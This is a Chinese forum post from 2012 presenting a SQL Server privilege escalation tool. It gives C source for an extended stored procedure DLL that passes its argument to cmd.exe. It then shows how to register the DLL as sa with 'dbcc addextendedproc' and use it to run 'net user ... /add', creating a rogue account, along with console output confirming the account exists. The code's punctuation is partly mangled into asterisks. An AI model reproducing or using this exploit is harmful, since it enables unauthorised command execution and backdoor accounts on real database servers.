*hello.dll(sa) 提权工具

2012/3/11 8:45:00  人气 738    计算机网络论坛  
主要代码:
在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:
#include <stdafx.h>
#include <shellapi.h>
#define *NOERROR 0
#define *ERROR 1
#define MAXCOLNAME 25
#define MAXNAME 25
#define MAXTEXT 255
#ifdef __cplusplus
extern “C” {
#endif
RETCODE __declspec(dllexport) *hello(SRV_PROC *srvproc);
#ifdef __cplusplus
}
#endif
RETCODE __declspec(dllexport) *hello(SRV_PROC *srvproc)
{
/***************************** 说明 *************************
由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,
无赖之下,只好用老式的srv_paramdata
*************************************************************/
int bufLen;
DBCHAR spName*MAXNAME*;
DBCHAR spText*MAXTEXT*;
DBCHAR spBuf*MAXTEXT*;
unsigned char cmdline*255* = “”;
if(srv_rpcparams(srvproc) != 1) return *ERROR; //参数判断,如果参数不是1个就立即退出
bufLen = srv_paramlen(srvproc,1);
if(!bufLen) return *ERROR;
wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf*bufLen* = ‘\0′; //获取第一个参数的值
wsprintf(spName, “*hello”);
wsprintf(spText, “%s Run *:*%s*\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);
srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息
wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数
Shell*ute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令
return *NOERROR ;
}
编译生成*hello.dll
以SA连接SQL Server 执行
dbcc addextendedproc(‘*hello’,‘c:\*hello.dll’);
提示成功过后,调用
* *hello ‘net user fuck fuck /add’;
这样系统里面就多了个fuck账户
C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user
\\PC-200910151119 的用户帐户
—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。

. 有事请联系本人!

发表回复

   


  通知楼主
暂无回复!